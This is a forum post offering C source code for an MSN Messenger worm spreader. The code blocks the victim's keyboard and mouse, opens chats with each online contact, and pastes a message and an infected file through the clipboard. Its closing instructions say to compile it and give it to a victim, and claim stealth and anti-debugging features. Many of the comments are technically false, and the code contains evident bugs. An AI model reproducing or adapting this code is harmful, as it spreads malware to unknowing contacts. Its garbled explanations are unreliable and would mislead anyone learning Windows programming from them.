Jako Posted September 1, 2016 Report Posted September 1, 2016 #include <Windows.h> // We include the windows header library since we are working with winapi #ifdef _WIN32_WINNT & 0x0403 #pragma comment(linker, "/ALIGN:4096") // Win2k8+ likes to limit buffers to 2048-bit array #pragma warning(disable : 4106) // This error tends to come up alot, let's just ignore it #define WIN32_LEAN_AND_MEAN // Shouldn't this be a standard by now? #endif /* We must always prototype the functions that we will use in our program prior to defining them so the compiler wil know what to expect when reading code. Good programming practice */ int MSN_StartFileSpread(LPSTR spread_file, LPSTR spread_msg); BOOL MSN_CopyDataToCB(LPSTR cb_data, HWND hwnd); BOOL MSN_CopyFiletoCB(LPSTR cb_data, HWND hwnd); int MSN_CloseActiveWindow(); // #import "../xxx/path/to/tlb/file" NOTE BELOW /* This should be the path to the msn messenger API class note it's a .tlb file -- I have another function which gets the base file path then afterwords you would just import it, but I'm sure it won't be too hard to make a function for this since it's like the only .tlb file in the MSN folder lul -> Just GetModuleFileName() it */ BOOL MSN_CopyDataToCB(LPSTR cb_data, HWND hwnd) { HGLOBAL hGlobal; LPVOID lpData; if (OpenClipboard(hwnd) <= 0) return FALSE; // if we cannot open clip-board then exit () EmptyClipboard(); // empty the data inside the clipboard so we can put new data in hGlobal = GlobalAlloc(GMEM_DDESHARE|GMEM_MOVEABLE,strlen(cb_data)+1); // reserve null bytes + alloc hGlobal = GlobalLock(lpData); // so it blocks further data to be inserted into this c/b by the user strcpy((LPSTR)lpData, cb_data); // Copy the clip_board data passed by param(1) to allocated grid GlobalUnlock(hGlobal); // allow user to use data now since we cleared previous space with our data SetClipboardData(CF_TEXT, lpData); // let the computer known that standard text is passed to c/b // other standards include CF_ANSI and CF_UNICODE, POSIX std CloseClipboard() ; // close clipboard just like we would a socket since its no longer in use GlobalFree(lpData); // and of course clear the string data of original param for re-use // this is just in case we want to use function again we wont have // the old string data inside the clipboard if we want to add new return ERROR_SUCCESS; // Notify the compiler, if it got to here, feed it 1 bit, good job! } /* * This is fun, and you'll see it a lot in my programs * I only include headers where needed. Here I include * shlobj.h so I can use the DROPFILES Union Structure * It allows me to link an filename to virtual memory * directly without the need to allocate memory space * Also note, just because the include is all the way * out here doesn't mean it's not the preprocessor any * more. The way MASM interprets x86 binary files is it * would scan the file for pre-definte values before * scanning for virtual includes (#def, #ifdef). After * that is complete, it would look for the typecasts and * namespace defintions, then functions prototypes, then * finally it reads the code within your function header */ #include <shlobj.h> BOOL MSN_CopyFiletoCB(LPSTR cb_data, HWND hwnd) { char InfectedFile[MAX_PATH]; // MAX_PATH = 256 characters just windows standard int InfFileSize = NULL; // sizeof dropped object + data file, and its good to initialize always HANDLE hdData; LPDROPFILES lpDP; LPBYTE lpbData; memset(InfectedFile, 0, sizeof InfectedFile); // set 0 bytes of data to InfectedFilePath strcpy(InfectedFile, cb_data); // Copy file path passed from param(1) to InfectedFile if (OpenClipboard(hwnd) == FALSE) return FALSE; // again check if we can open clipboard if not exit EmptyClipboard(); InfFileSize = sizeof DROPFILES + sizeof InfectedFile; // set the file size accordingly hdData = GlobalAlloc(GHND, InfFileSize); // The filesize is set GMEM_MOVEABLE | GMEM_ZEROPOINT lpDP = (LPDROPFILES)::GlobalLock (hdData); // We need to use data value, dont allow interaction lpDP->pFiles = sizeof DROPFILES; lpDP->fWide = FALSE; lpbData = (LPBYTE)lpDP + sizeof DROPFILES; // lpDP is the denoted drop file structure add to data CopyMemory (lpbData, InfectedFile, sizeof InfectedFile); // Copy our data to the infected file // by providing it a size == to sizeof(infectedfile) GlobalUnlock (hdData); // Okay, we're done with the data set, we can now use it SetClipboardData (CF_HDROP, hdData); // Finally set the clipboard data associated it with file CloseClipboard (); // close the clipboard since we are no longer using it return ERROR_SUCCESS; // return 0x1, this is satisfaction for our compiler } int MSN_CloseActiveWindow() { HWND msn = NULL; // initiate it or compiler complains for (int i=0; // initialize 'i' variable in the loop (msn = FindWindow // declaring header window handler to FindWindow API hook (TEXT("IMWindowClass"), // We are looking for an active window called 'IMWindowClass' NULL)) != NULL; i++) // keep going until we find it, there should only be two active { SendMessage(msn,WM_CLOSE,(LPARAM)0,(WPARAM)0); // once the window is found, close it } return EXIT_SUCCESS; // exit, same as earlier, except different circumstance, same value though } int MSN_StartFileSpread(LPSTR spread_file, LPSTR spread_msg) { LONG IMW; BSTR cname; long ICS, i; HRESULT res; VARIANT vtu; MISTATUS mIS; int counter = NULL; IMSNMessenger3* imsnCall = NULL; IDispatch* getID = NULL; IDispatch* dPCS = NULL; IDispatch* dPC = NULL; IMSNMessengerContacts* pIMCS = NULL; IMSNMessengerContact* pIMC = NULL; IMSNMessengerWindow* pIMW = NULL; CoInitialize(0); // Call the Init thread from MSN header lib res = CoCreateInstance(SID_MSGPT, // Create a passive thread NULL, CLSCTX_ALL, RID_MSNQUERY, // to look for online users (void*)&imsnCall); // in the victims friends list and save if (FAILED(res)) return -1; // if msn query fails (i.e. no users are online) then exit file spread imsnCall->get_MyContacts(&dPCS); // Compose list of online contants into list denoted by dPCS res = dPCS->QueryInterface (__uuidof(pIMCS), (LPVOID*)&pIMCS); if (FAILED(res)) return -1; // If list confirmation query fails and list is not found exit res = pIMCS->get_Count(&ICS); // get number of contacts in the online list if (FAILED(res)) return -1; // if we failed to get number of contacts, the exit BlockInput(true); // This is a fun switch that blocks input from the user (keyboard+mouse) for (i = 0; i < ICS; i++) // perform a for loop going through ICS (each person in contact list) { getID = NULL; // victim id = 0 res = pIMCS->raw_Item(i, &dPCS); // load contact list into current input frame (dPCS) if (FAILED(res)) continue; // if it fails, we don't really care, it works anyways res = dPC->QueryInterface(__uuidof(pIMC),(LPVOID*)&pIMC); // input frame focus on current user if (SUCCEEDED(res)) // if the input frame is set then perform loop to load file { res = pIMC->get_Status(&mIS); // is the user online or offline when we message them? if (FAILED(res) || mIS == MISTATUS_OFFLINE) // if we cant get status or user offline->exit { pIMC->Release(); // clear current contact list dPC->Release(); // refresh and try again continue; // we can move on to next query (flag 1), 1 more and worm will exit } pIMC->get_SigninName(&cname); // the following line inherits this function VariantInit(&vtu); // create a new thread to check for users active in chat res = imsnCall->raw_InstantMessage(vtu,&getID); // check if contact is blocked or not if (FAILED(res)) // if the contact is blocked which is denoted by a -1 (FAILED) { pIMC->Release(); // clear contact list dPC->Release(); // refresh and try again continue; // even if it is blocked, we can move on (flag 2), worm spreader now exits } // if both flags were marked then something is wrong (anti-debug) possible analysis res = getID->QueryInterface(RID_MSNMSG_Window, (void*)&pIMW); // Open chat with our victim if (SUCCEEDED(res)) // If it successed then continue, if not, well, no point then... quit { pIMW->get_HWND(&IMW); // Gets current state of the window (error checking is it active?) SetForegroundWindow((HWND) IMW); // if not active (passed from previous call) now it is SetFocus((HWND) IMW); // Set the mouse focus on the chat box inside the current window ShowWindow((HWND) IMW, 0); // Open window in physical memory, now we interact with it if (MSN_CopyDataToCB(spread_msg,(HWND)IMW)&0x1) // &0x1 checks if function executes {// Now that we opened a chat session we can send our payload (message in this case) keybd_event(VK_CONTROL,NULL,KEYEVENTF_EXTENDEDKEY,NULL); // Press and hold ctrl keybd_event(VkKeyScan('V'),NULL,NULL,NULL);// Look for the 'v' key keybd_event(VK_CONTROL,0xFF45,KEYEVENTF_EXTENDEDKEY,NULL); // Insert our data keybd_event(VK_RETURN,NULL,NULL,NULL); // hit the enter key }// these keyboard events will paste the data pased from "spreadmessage" into chat if (MSN_CopyFiletoCB(spread_file,(HWND)IMW)&0x1) // same routine, in this case it { // it loads a file to the chat session (file upload) no need for RETURN key keybd_event(VK_CONTROL,NULL,KEYEVENTF_EXTENDEDKEY,NULL); keybd_event(VkKeyScan('V'),NULL,NULL,NULL); keybd_event(VK_CONTROL,0xFF45,KEYEVENTF_EXTENDEDKEY,NULL); }// The function class already processes the file upload routine as defined previously counter++; // +1 successfull payload sent, increase return bits for the end } pIMC->Release(); // clear the contact list dPC->Release(); // refresh and try again }// unless the current contact list buffer is at the max (for-loop is finished) } imsnCall->Release(); // clear the composed contact list, refresh active buffer BlockInput(false); // the victim can now interact with his computer once again pIMCS->Release(); // clear the value of number of contacts in victims list dPCS->Release() ; // clear all remaining contact from virtual layer buffer CoUninitialize(); // Uninitialize the init call for the MSN messenger API // We now uninitialzed the API since our worm has finished its task return counter; // return the number of bits equal to victims queried } Instructions: You simply need to link the MSN API binary (as commented in the code), and compile it with MSVS2012 providing the following linker options: _CRT_SECURE_NO_WARNINGS _OPTIMIZE_GSY_SECURE _HEADER_NO_NODE_INC Then you give it to your victim. It's very quiet, and works nicely in the background without the victim's knowledge. The payload is only 7.6kb and includes 2 anti-debugging/anti-detect routines. CREDITS: BugTrack 1 Quote